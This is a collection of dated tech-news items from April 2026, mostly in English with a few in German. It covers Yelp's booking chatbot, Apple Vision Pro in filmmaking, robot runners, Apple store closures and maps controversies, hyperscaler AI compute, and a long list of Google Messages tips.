Wed, 22 Apr 2026 12:18:18 +0200

“Pull over!” I order my brother one sunny February afternoon. Our target is in sight: a gaggle of Canada geese, pecking at grass near the dog park. As I approach, tiptoeing over their grayish-white poop, I notice that one bird wears a white cuff around its slender black neck. It’s a GPS tracker—part of a…

Yelp Updates Its AI Assistant To Book Restaurants And Services

Wed, 22 Apr 2026 05:51:53 +0200

Finding a good place to eat or getting a quick doctor appointment in the USA just got a little easier as Yelp is giving its chatbot a massive upgrade. The app can now handle booking reservations and appointments directly through a normal chat screen. It is a big step up from just reading old reviews and looking at star ratings. Users can literally ask the app to find an open table and book it on the spot. The updated chatbot handles tasks through a single conversation The new feature acts as a smart helper within the main app. You can type in exactly what you need instead of tapping through endless menus. For example, you might ask for a plumber who works on weekends or a quiet coffee shop with outdoor seating. The system understands the context and handles the entire search process. Once it finds a good match, it does not just hand over a phone number. It actually completes the booking process right there in the chat window. This update is rolling out right now for anyone using an Apple device. If you rely on your iPhone for running daily errands, this will change how you use the app. Yelp plans to expand these chat features to more platforms Right now, the company is focusing heavily on iOS users. It wants to make sure the chat tool works well on mobile screens before pushing it out everywhere else. People who prefer browsing on an iPad will also see these new chat options popping up in their software updates. The company built this new tool using large language models to better understand casual human typing. It wants the whole process to feel like texting a friend who happens to know every local business in town. Yelp is trying to keep users inside the app longer instead of bouncing over to a web browser to finish a reservation.

Latest 'Star Wars' movie cut unnecessary costs by using Apple Vision Pro

Wed, 22 Apr 2026 02:07:13 +0200

Director Jon Favreau says a specialized app let him better frame IMAX shots using a virtual theater environment in Apple Vision Pro. He cites it as one method to cut back on reshoots and reduce costs.

Apple Vision Pro could become a useful tool in filmmaking

Filmmaking has only become more and more expensive even as commercialized tools make the medium more accessible. It's easier than ever to grab a smartphone and shoot some footage, but reaching Hollywood calibre isn't so simple.

In an interview conducted by The Town podcast during Cinemacon, Jon Favreau discussed ways that technology was helping reduce costs in filmmaking. One of the tools he mentioned was Apple Vision Pro.

Continue Reading on AppleInsider | Discuss on our Forums

Robots Beat Human Records At Beijing Half-Marathon

Mon, 20 Apr 2026 17:07:42 +0200

An anonymous reader quotes a report from TechCrunch: The winning runner at a Beijing half-marathon for humanoid robots finished the race today in 50 minutes and 26 seconds -- significantly faster than the human world record of 57 minutes recently set by Jacob Kiplimo. [...] [T]he winning time is a massive improvement over last year's race, when the fastest robot finished in two hours and 40 minutes. The Associated Press reports that this year's winner was built by Chinese smartphone maker Honor. It seems the winning robot wasn't actually the fastest, as a different Honor robot finished in 48 minutes and 19 seconds. But that one was remote controlled -- the 50:26 robot was autonomous and won due to weighted scoring. About 40% of participating robots competed autonomously, while the remaining 60% were remote controlled, according to Beijing's E-Town tech hub. Not all of them did as well as Honor's robots, with one robot falling at the starting line and another hitting a barrier.

Read more of this story at Slashdot.

The Mandalorian and Grogu director used Apple Vision Pro to preview the film in IMAX

Mon, 20 Apr 2026 16:17:29 +0200

Director Jon Favreau (Iron Man, The Jungle Book) hasn't been shy about embracing new technology for filmmaking. While producing The Mandalorian for Disney+, he was one of the first filmmakers to use ILM's massive LED screens, AKA "The Volume," to produce more realistic lighting and backgrounds on studio sets. For the feature film The Mandalorian and Grogu, which hits theaters May 22, Favreau recently revealed that he had Disney build an Apple Vision Pro app to preview its full IMAX scope during filming.

"So I'm making an IMAX movie, and I'm looking at a TV screen, and no matter how big your TV screen is it's not an IMAX screen," Favreau said in a recent episode of The Town podcast. "We built software so that I can pop on my Apple Vision Pro and be sitting in an IMAX movie theater and see the full aspect ratio when we're lining a shot up. And I can watch that take and see what people will see."

Favreau isn't the first director to use the Apple Vision Pro — Wicked filmmaker Jon Chu also used it to handle post-production work — but he's the first to specifically mention using the headset for IMAX production. That's still a relatively limited use case for the Apple Vision Pro, but it's one that could be useful to future filmmakers. With its large field of view and sharp micro-OLED screens, the Apple Vision Pro is one of the only ways to replicate the experience of watching a large IMAX screen at home. (The Meta Quest 3 comes in as a close second.)

In general, Favreau says he's more excited about using existing consumer technology in the filmmaking process than AI. He mentions using the Unreal Engine to previsualize special effects on The Mandalorian and his previous films, and he believes the quality from game engines could be good enough to make it into final productions down the line.

"This is what the animation industry has understood from the beginning," he said. "Get it right before you ever paint a cel."

This article originally appeared on Engadget at https://www.engadget.com/entertainment/tv-movies/the-mandalorian-and-grogu-director-used-apple-vision-pro-to-preview-the-film-in-imax-140331311.html?src=rss

Harold Perrineau Teases 'Despicable' Town and What's Next in Season 4 of 'From'

Sat, 18 Apr 2026 16:32:21 +0200

Fans can return to Fromville this weekend. Here's how to watch and a reminder of where things left off.

20 tricks for more efficient Android messaging

Fri, 17 Apr 2026 12:02:23 +0200

No matter what type of Android phone you carry or how you usually use it, one thing is a near-universal constant:

You’re gonna spend a ton of time messing with messages.

The messages may be from clients, colleagues, or your cousin Crissy from Cleveland (damn it, Crissy!). But regardless of who sends ’em or what they’re about, they’re all poppin’ up on your phone and cluttering your weary brainspace.

My fellow Android adorer, I’m here to tell you there’s a better way.

Google’s Android Messages app has gotten surprisingly good over the years. That’s no big secret. If you only rely on what you see on the surface, though, you’re missing out on some of Messages’ most powerful and underappreciated efficiency-enhancing options.

[Hey: Want even more advanced Android knowledge? Check out my free Android Shortcut Supercourse to learn tons of time-saving tricks — for messaging and beyond!]

Today, we’ll explore the Android Messages app’s most effective out-of-sight superpowers. They may not be able to cut down on the number of messages you send and receive on your phone (DAMN IT, CRISSY!), but they will help you spend less time fussing with ’em. And they might just help you have a more pleasant experience, too.

Let’s dive in, shall we?

(Before you splash forward, take note: The tips on this page are all specific to the Google Messages app for Android. If you’re using a phone where that exact app wasn’t preinstalled or set as the default, you can download it from the Play Store and give it a whirl. You might be pleasantly surprised by what you find.)

Android Messages trick #1: Message resurrection

We’ll start with a freshly added fix for one of the longest-standing Android messaging frustrations — and that’s the app’s inability to let you bring back a messaging thread you inadvertently deleted.

As of just this month — April 2026 — Google is finally in the midst of adding an overdue “Trash” section into the Messages app that lets you see and optionally restore any conversation you’ve killed within the past 30 days. Can I get a halle-frickin’-lujah?!

Once the feature is available to you, it couldn’t be much easier to find and manage:

Just tap your profile picture in the Messages app’s upper-right corner.
And look for the newly added “Trash” option in the menu that appears — directly beneath “Archived.”

At last! A place for finding and optionally restoring deleted messages within the Google Messages app on Android.

JR Raphael, Foundry

Tap that, and you’ll be taken to a special section of the app where every axed thread lives for about a month before being permanently deleted. There, you can tap any thread and then tap the circular clock icon at the top of the screen to restore it — or tap the trash icon to delete it permanently (and irreversibly) from your phone. You can also restore or delete all threads in that area together, if you want.

Thank goodness.

Android Messages trick #2: Text editing

In addition to recovering a deleted message, Google Messages on Android also now allows you to edit your own sent message — for those mortifying moments when you realize you’ve made a mistake or sent the wrong thing to the wrong person (egad!).

The option is available only in messages where everyone involved is using the current RCS messaging standard. You’ll know that’s the case if you see “RCS message” in the text box at the bottom of the thread.

Provided that’s present, just press and hold your finger onto any individual message you’ve sent, then look for the pencil-shaped editing icon along the app’s upper edge — and, last but not least, swear to yourself you’ll never hit send without reading over what you wrote again. (Right…)

On that note, I’d be remiss not to inform you that anyone’s original, pre-edited messages are always accessible for anyone else in the conversation to see — if they know where to look.

Android Messages trick #3: Custom icons

Up next is what might be my favorite little-known trick within Google’s Android Messages app: With a couple quick adjustments, you can turn any of your contacts’ faces into a custom notification icon. That icon will then show up at the top of your phone whenever that person messages you for extra-easy visibility and access.

See?

A quick bit of simple setup, and bam: Anyone’s face can become their notification icon (for better or for worse!) on your phone.

JR Raphael, IDG

The only catch is that your phone needs to be running 2020’s Android 11 operating system or higher for the feature to be available. (And honestly, if your phone isn’t running Android 11 at this point, you’ve got bigger fish to fry, Francesco.) Also, Samsung has screwed around with this system for no apparent reason — a frustratingly common theme with Samsung’s heavily modified approach to Android, especially as of late — so you may or may not be able to take advantage of this on a Galaxy gadget, depending on how recently its software has been ~~screwed up~~ updated. (Exaggerated sigh. What more can I say?!)

On any reasonably recent Android device that sticks close to Google’s core Android interface, though, here’s how to make the magic happen:

The next time you get a message from someone, press and hold your finger to the notification.
That’ll pull up a screen that looks a little somethin’ like this:

Android’s Priority conversation setting is the key to creating custom notifications that really stand out.

JR Raphael, IDG

Tap the “Priority” line, then tap “Apply” to save the changes.

And that’s it: The next time that person messages you, you’ll see their profile picture in place of the standard Messages icon in your status bar, and the notification will show up in a special section above any other alerts.

Hip, hip, hoorah!

Android Messages trick #4: Custom sounds

In addition to making it easier to spot an important contact by their notification icon, you can also create a custom alert sound for messages coming in from different people — or even from specific threads within the Google Messages app — so you immediately know what they are before you have a chance to look.

This is one of those things that’s super-basic but also awkwardly out of sight and consequently unknown to an awful lot of Android-owning organisms. But once you know where to find it, it really couldn’t be much easier to get going. And it’s all connected to Android’s notification channels, which let you get incredibly nuanced on how different types of notifications within apps behave.

The quickest way to zip where you need to be is to open the thread you want to customize within Messages itself — whether it’s a one-on-one text with an individual person or a group conversation with multiple contacts. Once you’re inside the thread, tap the three-dot menu icon in its upper-right corner and select “Details,” then select “Notifications” on the screen that comes up next.

And hey, wouldya look at that? You should now be staring at a series of options about how that exact notification behaves — including, at least in the standard Google version of Android, the all-important “Sound” setting.

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A special sound for every conversation is no more than few fast taps away.

JR Raphael, Foundry

Tap that, then find and select any sound you like. The next time a new message comes in for this conversation, there’ll be no mistaking what awaits you from the second it arrives.

Android Messages trick #5: Contact prioritizing

While we’re thinking about making certain conversations stand out, ever wish you could keep your most important messaging threads at the top of the list for easy ongoing access?

Poof: Wish granted. No matter what kind of Android phone you’re holding or how needlessly meddled with its software may be, just hold your finger onto the conversation in question on the main Messages app screen, then tap the pushpin-shaped icon in the app’s upper bar.

You can now pin up to 20 conversations that way, and they’ll always appear above all other threads in that main inbox view.

Android Messages trick #6: Short-term tune-out

Some incoming messages always require your immediate attention. Others, in contrast, are best tuned out and caught up with much later.

Surely you’ve been in that type of thread before, right? Y’know, the one where people are getting just a little too active — sending message after message, typically either during your workday or while you’re trying to focus on anything other than their uninteresting missives?

Google’s Android Messages app actually has a great way to deal with such struggles. It’s a temporary snoozing mechanism that lets you opt out of notifications from one specific conversation and that conversation only and stop receiving alerts from it for a set amount of time.

To try it out, press and hold your finger onto any thread in your main Messages list, then look for the clock icon with a “z” inside of it at the top of the screen. Tap that, and you can then decide to snooze notifications from that single conversation for one hour, eight hours, 24 hours, or — if you really want to tune it out — forever.

The sanity-saving Android Messages snooze option. (Don’t worry: I won’t tell.)

JR Raphael, Foundry

You’ll continue to get notifications from all other conversations in the meantime, and you’ll still be able to see new activity from the snoozed thread by opening up Messages and actively looking at it. But you won’t be interrupted by its alerts again — for a little while, at least.

Android Messages trick #7: Gemini be gone

Speaking of tuning out distractions, if you rarely to never interact with Google’s Gemini chatbot from inside the Messages app — perhaps because, y’know, it’s also available in approximately 7 gazillion other in-your-face places — you might appreciate the distraction-free satisfaction of an interface without a prominent Gemini button begging for you to caress it every frickin’ time you open up your messages.

(The Gemin icon is that starbust-shaped symbol that sits perpetually above the “Start chat” button, in Messages’ lower-right corner, if you haven’t ever tapped it to find out.)

And good news: You can actually send that icon a-packin’, if you’re so inspired: Just tap your profile picture in Messages’ upper-right corner, select “Messages settings,” then tap “Gemini in Messages” and flip the switch on the screen that comes up next into the off and inactive position.

All that’s left is to pat yourself on the back and celebrate the fact that you’ll only have to see Gemini in 6.9 gazillion other places from this point forward.

Android Messages trick #8: Free in-flight Wi-Fi

Gemini may be little more than a distraction within Messages most of the time, but one moment when that capability can actually come in handy is while you’re flying the allegedly friendly skies.

A while back, a crafty reader alerted me to the fact that you could use Gemini’s Messages integration to effectively give yourself free in-flight Wi-Fi access even when you haven’t paid for the privilege. It’s a heck of a clever hack and a moment when you genuinely may want to activate Gemini within the Messages app, at least for a little while.

I’ve got a complete breakdown of how it works and how you can put it to use on your next flight.

Android Messages trick #9: Calendar connection

Whether from the sky or on the regular ol’ ground, the next time you’re working to plan a meeting or event with a fellow Homo sapien in Messages, make yourself a mental note of this:

Anytime someone sends you a message that includes a specific date and time, the Messages app will underline that text. See it?

That underlined time is a covert link from an incoming message to your Android calendar agenda.

JR Raphael, IDG

You’d be forgiven for failing to realize, but you can actually tap that underlined text to reveal a shortcut for opening that very same day and time in your Android calendar app of choice. It’s a great way to get a quick ‘n’ easy glimpse at your availability for the time you’re discussing.

And if you then want to create a calendar event, just look for the “Create event” command that should appear right below that very same message. That’ll fire up a new calendar event for you on the spot, with the appropriate day and time already filled in.

That button to the left of the text suggestions is a spectacular time-saver for on-the-fly event creation.

JR Raphael, IDG

Don’tcha just love simple step-savers?

Android Messages trick #10: Seamless scheduling

If you’re ready to hammer out a response to a message right now but don’t want your reply to be sent for a while, follow the advice shared by a reader in my Android Intelligence newsletter recently and simply schedule your message for some specific future time.

The Android Messages app’s scheduling system is spectacularly useful. You can rely on it for setting reminders to be sent to clients, business-related messages to be pushed out the next morning, or context-free middle-finger emojis to be delivered to your cousin in Cleveland at ungodly hours in the middle of the night.

To tap into this productivity-boosting power, just type out your message normally — but then, instead of tapping the triangle-shaped send icon at the right of the composing window, press and hold your finger onto that same button when you’re done.

No reasonably sane person would possibly realize it, but that’ll pull up a hidden menu for selecting precisely when your message should be sent.

Send any message, anytime — no matter when you actually write it.

JR Raphael, IDG

And the person on the other end will have no way of even knowing you wrote the thing in advance.

Android Messages trick #11: Swift saving

When you run into a message you know you’ll want to reference again, save yourself the trouble of trying to dig it back up later and instead star it on the spot to make it fast as can be to find in the future.

It couldn’t be much easier to do: Whilst viewing an individual message thread, just press and hold your finger onto the specific message you want to save, then tap the star-shaped icon that appears in the bar at the top of the screen.

Then, when you want to find the message again, tap the search icon at the top of the main Messages screen and select “Starred” from the menu that comes up. That’ll show you every message you’ve starred for exceptionally effortless resurfacing.

Android Messages trick #12: Smart searching

Speaking of that Messages search system: Starring is sublime, but sometimes, you need to dig up an old message that you didn’t go out of your way to save.

The Android Messages app makes that even easier than you might realize. Tap that same search icon at the top of the app’s main screen — and in addition to searching your entire history message for any specific string of text, take note:

You can start typing out the name of anyone in your contacts, then select them from the suggestion that appears — and then type in some text to look for something specific only within messages from that one person.
You can use the options within the main Messages search screen to look specifically at images, videos, locations, or links people have sent you.
And you can combine any of those variables for even more granular finding — looking for links you sent to a particular client, for instance, or locations an out-of-town colleague sent to you.

The Android Messages app’s search system is chock-full of helpful info.

JR Raphael, IDG

How ’bout them apples?!

Android Messages trick #13: Instant marking

I don’t know about you, but I find it impossibly irksome to see messages sitting with bold emphasis in my Android Messages inbox. That, to me, is a marking that means I need to read (and possibly also respond) to the message in question. And I can’t possibly rest for the day until I know that everything in my Messages inbox is open, addressed, and dealt with (or at least opened and with a reminder set to deal with it at some specific future time).

Sometimes, though, it’s all too easy to fall behind and get a backlog of bolded messages — and in such scenarios, sometimes, you need a quick ‘n’ easy one-switch reset button to bring everything back to read status and give yourself a fresh start.

Well, surprise: Messages has such an option! Tap your profile picture in the app’s upper-right corner and look for “Mark all as read” in the menu that comes up to find it — then let yourself rest easy as all that attention-demanding boldness melts away once and for all.

Android Messages trick #14: Easier-to-read text

On the subject of more noticeable text, file this next Android Messages feature under “accidental discoveries”: The next time you find yourself squinting at something in a messaging thread on your phone, try a good old-fashioned zoom gesture on the screen — placing your finger and thumb together and then spreading ’em slowly apart.

You’d never know it, but the Messages app supports that standard gesture for zooming into a conversation. The inverse applies, too: When you’re ready to zoom back out and make everything smaller, just bring your two fingers closer together.

And if those actions aren’t working for you, tap your profile picture in the upper-right corner of the main Messages screen and select “Messages settings,” then make sure the toggle next to “Pinch to zoom conversation text” is in the on position.

Android Messages trick #15: Custom colors

While we’re thinkin’ about easier reading, a relatively recent Android Messages addition can let you create a custom color palette for any conversations you’ve got goin’.

That way, you can always remember that texts with your significant other are in, say, purple, whereas messages with your most important client are in red. (Best not to get those two threads confused.)

This one works only with messages sent using the modern RCS messaging platform, which basically means messages that don’t involve pesky people still carrying around iPhones with outdated software on ’em. (It’s always the iPhone people, isn’t it?!)

With any currently supported conversation, open up the thread within Messages — then:

Tap the three-dot menu icon in the screen’s upper-right corner.
Select “Change colors” from the menu that appears.
Pick the color scheme you prefer, then tap the Confirm button at the bottom.

Every Android Messages conversation can have its own distinctive color, if you take the time to set it up.

JR Raphael, IDG

Repeat for any other compatible conversations, and you’ll always know exactly what you’re looking at even with a fast glance — and without having to give it an ounce of active thought.

Android Messages trick #16: Meatier media

You know a fantastic way to waste time? I’ll tell ya: moving from one app to another just to glance at something someone sent you (like those blasted Bangles video Crissy is always blasting your way).

But get this: Google’s Android Messages app can let you preview and get the gist of both text articles and even YouTube videos without ever leaving your current conversation — from right within the app and that very same message thread.

The key is to make sure you’ve got the associated options enabled:

Tap your profile picture in the upper-right corner of the main Messages screen.
Select “Messages settings,” then tap “Automatic previews.”
Make sure the toggle next to “Show all previews” is on and active.

Now, the next time someone sends you a link, you’ll see the associated item’s thumbnail and description right then and there, within the Messages conversation:

Videos expanded in-line within Messages — easy peasy.

JR Raphael, IDG

With web pages, Messages will show you just enough of a preview to let you make an educated decision about whether you want to tap the link or not.

Web links gain useful extra context once you enable the right option within the Android Messages settings.

JR Raphael, IDG

Almost painfully sensible, no?

Android Messages trick #17: Smarter shortcuts

If I had to pick the simplest Android Messages trick for enhancing your efficiency, it’d be embracing the built-in shortcuts Google gives us for faster message actions.

From the main Messages screen, you can swipe left or right on any message to perform an instant action — archiving the conversation, deleting it, or toggling it between read and unread status.

All you’ve gotta do is mosey your way back into the Messages app’s settings areas and tap on the “Swipe actions” item to set things up the way you want…

Step-saving swipes within Messages — now available for your customization.

JR Raphael, IDG

…and then, just remember to actually use those gestures moving forward. (That part’s on you.)

Android Messages trick #18: Quicker cleanup

Certain services love to send confirmation codes via text messaging when you sign in or try to perform some action. It may not be the most advisable or effective form of extra security, but — well, it’s better than nothing. And for better or for worse, it’s a pretty common tactic.

Core security considerations aside, the most irksome part of these confirmation codes is having ’em clutter up your messages list at every Goog-forsaken moment. But the Google-made Android Messages app can actually take care of that for you, without any ongoing effort — if you take about 20 seconds to make the right tweak now.

Here’s the secret:

Tappity-tap that comely character in the upper-right corner of the main Messages screen (y’know, the one whose appearance has a striking resemblance to your oversized head).
Tap “Messages settings” in the menu that comes up, then select “Messages organization.”
Within that curiously created section, you’ll see only one option: “Auto-delete OTPs after 24 hrs.” OTP may not exactly be an everyday, universally known abbreviation, but fear not — for it isn’t an erroneous reference to an early 90s rap hit with equally ambiguous meaning. Nope: It stands for one-time password, which is the same thing we’re thinking about here.
Flip that toggle into the on and active position, then flip a finger of your choice to all the confirmation codes in your messages list with the knowledge that they’ll be auto-purged a day after their arrival from that point forward.

Who’s down with OTP? Every last homie. (I apologize.)

Android Messages trick #19: Readable reactions

Slack-style reactions may seem silly on the surface, but they serve an important communication purpose in allowing you to quickly acknowledge a message without having to carry the conversation on further. Whether it’s a thumbs-up, a clapping hands symbol, or even perhaps an occasional burrito emoji, it really can be a handy way to say “Yup, got it” (or “Yup, want beefy goodness”) without having to use a single word.

You probably know you can summon a reaction within the Android Messages app by pressing and holding a specific message within a conversation and then selecting from the list of available emoji options — right? But beyond that, Messages packs an even faster way to issue a reaction in the blink of an eye.

And here it is: Simply double-tap your finger onto any individual message within a conversation. That’ll apply the thumbs-up reaction to it without the need for any long-press or symbol selection.

It’d be nice if there were a way to customize which reaction is used for that action by default — so that, obviously, we could all change it to the burrito emoji, since that’s what any sane person uses most often — but if and when an upward thumb will do the job, now you’ve got a super-easy way to bring it into any conversation with a fast finger tap.

Android Messages trick #20: iRritation elimination

Last but not least in our list of magnificent Messages enhancements is something specific for your conversations with the Apple-adoring animals in your life. And it relates to those very same sorts of reactions we were just going over.

One obnoxious side effect of Apple’s “no one exists outside of iOS” mentality, y’see, is the way the iPhone’s equivalent of those reactions show up on Android. Plain and simple, they show up as — well, plain and simple text messages, instead of coming through as reactions.

Surely you’ve encountered this, right? Those pointless messages you get from iGoobers that say stuff like “Loved ‘Please stop texting me, Crissy'”?

Well, scribble this on your metaphorical mental iPad: Google’s Android Messages app is actually able to intercept those absurd platform-specific reactions and turn ’em into standard reactions instead of plain-text interruptions. And it’ll take you all of 12 seconds to enable the option:

Head back into the Messages app’s settings.
Tap “Advanced.”
Look for the line labeled “Show iPhone reactions as emoji” and make sure the toggle next to it is in the on position.

All that’s left is to breathe one final heavy sigh of relief — and to send Crissy a well-deserved burrito reaction.

Hey: Don’t let the learning stop here. Get six full days of advanced shortcut knowledge with my free Android Shortcut Supercourse. Tons of time-saving tricks await!

Apex, N.C., Puts Yearlong Halt on Data Centers, Cryptomining

Wed, 15 Apr 2026 19:07:52 +0200

The Apex Town Council voted unanimously to enact the moratorium on data centers, data processing facilities and cryptocurrency mining operations, following months of public opposition to a proposed project.

Apple Store closures make sense to Apple, but not to the community

Tue, 14 Apr 2026 21:53:32 +0200

Apple sometimes closes retail stores. The company always has private and public reasons why, but the communities and workers that are impacted don't care much about what they are.

Apple Trumbull - Image Credit: Apple

On April 9, it was revealed that Apple was preparing to close three of its stores in the United States in June. The group consists of Apple North County in Escondido, California, Apple Towson Town Center in Towson, Maryland, and Apple Trumbull in Trumbull, Connecticut.

After the initial shock of the closures, people are still expressing their feelings about the store closures. However, as usual, nothing is straightforward in the court of public opinion.

Continue Reading on AppleInsider | Discuss on our Forums

Maryland: Apple schließt ersten gewerkschaftlich organisierten US-Laden

Tue, 14 Apr 2026 11:46:51 +0200

Der Towson Town Center Store war der erste in den USA, der eine gewerkschaftliche Vertretung hatte. Nun schließt er – laut Apple aus wirtschaftlichen Gründen.

Apple Insists It Did Not Erase Lebanon Towns From Its Maps App

Mon, 13 Apr 2026 15:27:36 +0200

Apple is facing heavy backlash online after social media users noticed that its mapping app lacks town names in southern Lebanon. Many people accused the company of actively deleting these locations to support political motives in the region. However, the hardware maker quickly stepped in to clear the air. It insists that those specific village names were never actually featured on its maps to begin with. The fully detailed version of the software has simply not launched in that country yet. This global mapping issue highlights how easily misinformation can spread online. The company explains that its detailed maps remain unavailable locally People on platforms like X recently shared videos showing empty spaces where Lebanese villages should be on Apple Maps. This sparked rumors that Apple removed the labels on purpose. Critics claimed the company wanted to help justify military actions in the area. https://twitter.com/EthanLevins2/status/2043366941922926940 Apple responded by saying these claims are completely false. A spokesperson confirmed that the tech brand never had those specific details listed in the first place. Building digital maps is a massive global project. Apple often rolls out basic outlines for certain countries before adding street level data. Right now, Lebanon only has the standard map view. If you zoom in on Google Maps, you will see a lot more detail in that specific region. That happens because different companies buy their map data from different sources. Apple says it plans to release its heavily detailed map update for Lebanon eventually. Until then, the empty spaces are just a result of missing data instead of a political statement. https://twitter.com/TheBRICSreport/status/2043402680786465206?s=20 Mapping out the entire world takes a massive amount of time and resources for any tech company. This situation shows why it is important to verify software features before jumping to conclusions about corporate motives.

Apple Maps did not erase Lebanon towns during Israeli attacks, insists Apple

Mon, 13 Apr 2026 13:42:21 +0200

Apple Maps is facing another controversy as social media points to alleged removal of sites in Lebanon, but Apple says it never listed them.

Lebanon in Apple Maps

Apple Maps had a controversial start over getting locations wrong, and it's more recently been used to reveal troop movements in Russia. But now that Israel is invading southern Lebanon, Apple Maps is accused of removing village and town names from the region.

Apple has removed Lebanese village names in Southern Lebanon.

Continue Reading on AppleInsider | Discuss on our Forums

Apple closes 3 US stores, including its first to unionize

Fri, 10 Apr 2026 17:38:59 +0200

The three shuttered US Apple stores include the first to unionize -- prompting backlash from the union. A court case could loom.

(via Cult of Mac - Your source for the latest Apple news, rumors, analysis, reviews, how-tos and deals.)

Apple schließt erste US-Filiale mit aktiver Gewerkschaft dauerhaft

Fri, 10 Apr 2026 16:11:21 +0200

Apple wird im Juni mehrere seiner Store-Filialen in den Vereinigten Staaten schließen. Darunter auch den Standort im Towson Town Center im Bundesstaat Maryland. Die Filiale war die erste innerhalb des Unternehmens, deren Belegschaft sich erfolgreich gewerkschaftlich organisiert hatte. Wie damals auf ifun.de berichtet, hatten die Mitarbeiter des Stores mehrheitlich für den Beitritt zur International Association […]

The post Apple schließt erste US-Filiale mit aktiver Gewerkschaft dauerhaft first appeared on ifun.de.

Gas Town kontrolliert, was automatisierte Agenten dürfen

Fri, 10 Apr 2026 12:31:36 +0200

Gas Town 1.0.0 orchestriert mehrstufige Entwicklungs-Workflows, härtet Agenten-Sicherheit und unterstützt erstmals Windows.

Google owns the most AI compute, and it built it its way

Fri, 10 Apr 2026 04:07:21 +0200

It’s official: Google is the largest single owner of AI compute, and it’s doing it largely without Nvidia.

According to new analysis from Epoch AI research institute, more than 60% of global AI compute is owned by US hyperscalers, and Google holds about one quarter of it. And while the search giant relies heavily on its own custom tensor processing units (TPUs), many of its peers are still bound to Nvidia.

That early concentration of compute and infrastructure among a mighty few could dictate the pace of AI evolution, analysts note.

“No one doubts the massive capital investments required to be a hyperscaler in the first place,” noted independent tech analyst Carmi Levy. They can provide the economies of scale that “smaller players can only dream of,” he noted.

“But when they are essentially the only game in town, it’s difficult to ignore their ability to influence pricing, terms, and availability on a market that literally has no other choice,” he said.

Biggest capacity holders highly-reliant on Nvidia

Epoch AI evaluates compute capacity in what it calls “H100-equivalent (H100e) units,” defined as a cloud or company with enough TPUs, graphics processing units (GPUs), or other accelerators to match the output of an Nvidia H100 processor.

By this measure, Google holds the equivalent of about 5 million H100 GPUs in compute capacity, roughly 4 million of it in its custom TPU chips. The tech giant only hosts about one-quarter of its compute on Nvidia GPUs.

This is “considerably less” than its competitors, notes Matt Kimball, VP and principal analyst at Moor Insights & Strategy. “It shows how comfortable the company is with relying on its TPUs for AI,” he said, adding that the company is heavily using its version 7 Ironwood TPUs to power Google Cloud.

Microsoft is a distant second in capacity, holding the equivalent of just under 3.5 million H100s in compute capacity. Redmond relies mostly on Nvidia infrastructure, with a small amount of its compute powered by AMD.

Amazon is in third place, with the equivalent of roughly 2.5 million H100s; Meta is in fourth with 2.25 million; and Oracle is in fifth, with just over 1 million H100e. According to Epoch, Meta uses a mix of Nvidia and AMD infrastructure; Amazon is powered roughly equally by AMD and its own AWS Trainium chips; and Oracle relies strongly on Nvidia.

The on-premises share of the pie continues to shrink

In a similar analysis, Synergy Research Group found that hyperscale operators now account for nearly half (48%) of all worldwide data center capacity, and will likely hold more than two-thirds (67%) of the market by 2031.

The firm reports that 60% of hyperscale capacity is now in hyperscaler-built and owned data centers, and enterprise on-premises data centers account for just 32% of total capacity. This is in “stark contrast” to 2018, when 56% of data center capacity was in on-premises facilities.

Today, on-premises data center capacity is receiving “something of a boost” thanks to genAI applications and GPU infrastructure, after a “sustained period of essentially no growth,” according to Synergy. However, it predicts that the on-premises share of the total will continue to drop at least two percentage points per year, hitting 19% by 2031.

“Overall, the world is racing towards a situation where hyperscale operators are responsible for the bulk of global data center capacity,” said John Dinsdale, a chief analyst at Synergy Research Group.

Nvidia, Google on top, but the market is shifting

Clearly, Nvidia remains a dominant element of the AI-forward stack.

The company has “rather brilliantly ridden the wave, and has deservedly been rewarded for delivering processor-level solutions that address the needs of an increasingly compute-hungry AI-powered world.” said Levy.

That said, over-reliance on one chip vendor “puts everyone else at unnecessary risk,” he noted, incentivizing platformers like Google, Meta, Amazon and others to seek their own closer-to-home solutions. Whether that involves developing their own silicon or diversifying their access to it is “almost irrelevant.”

“What matters is that they recognize the advantages of indigenous development and the deployment of compute capacity, and the risks inherent in allowing someone else to set the terms of engagement,” Levy said.

Google, for its part, will continue to be “one of the largest, if not the largest,” consumer of compute resources, said Bill Wong, research fellow at Info-Tech Research Group.

“Its business model drives that global demand, specifically through the widespread use of Google search and Gemini, which it provides for ‘free,’” he pointed out. However, that same level of traction for enterprise customers is unlikely, as both Microsoft Azure and Amazon AWS have stronger footprints in enterprise.

AI infrastructure is also being influenced by the emerging trend toward sovereign AI, where the preferred AI stack is more locally controlled or on-premises, Wong pointed out. Countries like Denmark are looking to migrate both AI and non-AI workloads away from US providers, particularly Microsoft and Google.

But let’s see what inferencing brings

It’s also important to note that these numbers largely reflect infrastructure buildouts targeted at large-scale training, a realm that Nvidia has dominated with its chips and its CUDA parallel computing platform.

But market share will likely shift as inference begins to mature, Kimball predicted. Providers like AMD and Cerebras will begin to gain because they are “equally impressive,” and have different price and performance profiles, he said.

The rankings also don’t account for some custom accelerators, including AWS’ Trainium, Microsoft’s Maia, and Meta’s MTIA. Cloud providers will likely deploy their own silicon “whenever and wherever possible,” because there will be considerable price and performance advantages, Kimball pointed out.

“So yes, Nvidia dominates today, Nvidia will lead tomorrow,” he said. But “let’s see what this looks like as inference establishes a meaningful presence in the market.”

There is no doubt that the Nvidia story can be confusing for enterprises consuming AI in the cloud, Kimball observed. “Everything they read and see tells them to use Nvidia because that is the architecture that has built all of the models they are using,” he said.

But inference is different, he pointed out. The right inference platform has many dependencies: different model types and sizes, inference patterns, portability, memory architectures. And, given that inference will occur across the enterprise (in the data center, at the edge, on devices), IT buyers must consider software stacks and portability.

Ultimately, Kimball noted, enterprise IT needs to look at AI as “a clean sheet project,” rather than being bound by what exists in today’s data centers. “You do not want to be locked into a single stack and/or a single chip,” he advised.

Apple to Close Three U.S. Retail Stores in June Amid Declining Mall Conditions

Fri, 10 Apr 2026 00:23:41 +0200

